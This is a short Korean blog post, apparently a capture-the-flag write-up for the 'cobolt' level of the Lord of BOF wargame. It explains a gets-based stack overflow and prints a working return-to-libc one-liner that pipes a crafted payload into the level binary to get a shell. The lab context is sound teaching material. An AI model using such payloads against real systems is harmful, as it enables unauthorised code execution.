Hackerschool/Lord Of BOF

[*] cobolt - small buffer + stdin

Kostrian 2015. 1. 29. 10:08

 

처음 소스를 보시면 gremlin과 상당히 유사함을 볼수 있습니다. 16바이트 배열선언 배열에 문자열을 받고 출력. 하지만 파라미터값을 strcpy로 배열에 저장했던 gremlin과는 달리 이 문제는 gets를 통해서 프로그램 실행중 직접 입력을 받습니다.

 

그럼 내부를 분석해 볼게요.

 

 

 - 스택에 16바이트의 공간을 할당하고

 - eax에 배열의 시작주소를 복사하여

 - gets함수로 입력을 받고

 - 출력

 

네. gremlin과 매우! 비슷합니다. 게다가 gremlin때와 같은 환경이기 때문에 libc의 주소도 같습니다. payload를 짤 필요도 없게 되는군요. 그럼 여기서 고민해야 될건 어떻게 gets함수에 stdin을 넘겨주냐가 되겠군요. 사실 BOF원정대를 풀기 시작하신분은 이미 다 알고계신 내용이겠지만 혹시 모르니 대충은 설명하고 가겠습니다.

 

리눅스에는 파이프(|)라는 명령어(?)가 존재합니다. 파이프란, 한 프로그램의 출력(stdout)을 다른 프로그램의 입력(stdin)으로 넘겨주는 기능입니다. 이걸 활용하면 되겠습니다.

 

그럼 이제 공격을 해보겠습니다

 

[cobolt@localhost cobolt]$ (python -c 'print"\x90"*20+"\xe0\x8a\x05\x40"+"\x90"*4+"\xf9\xbf\x0f\x40"';cat)|./goblin

 

 

공격에 성공했습니다!

 

 

[+] 원래는 gets함수의 취약점을 이용하여 공격을 하는게 정석이겠지만 저번문제로 RTL을 이용해 풀어봤기 때문에 복습하는 의미로 다시한번 RTL로 풀어보았습니다. 나중에 시간이 되면 gets함수를 이용한 풀이도 올리도록 하겠습니다.

 

 

'Hackerschool > Lord Of BOF' 카테고리의 다른 글

[*] gremlin - small buffer  (0) 2015.01.29
[*] gate - simple BOF  (0) 2015.01.29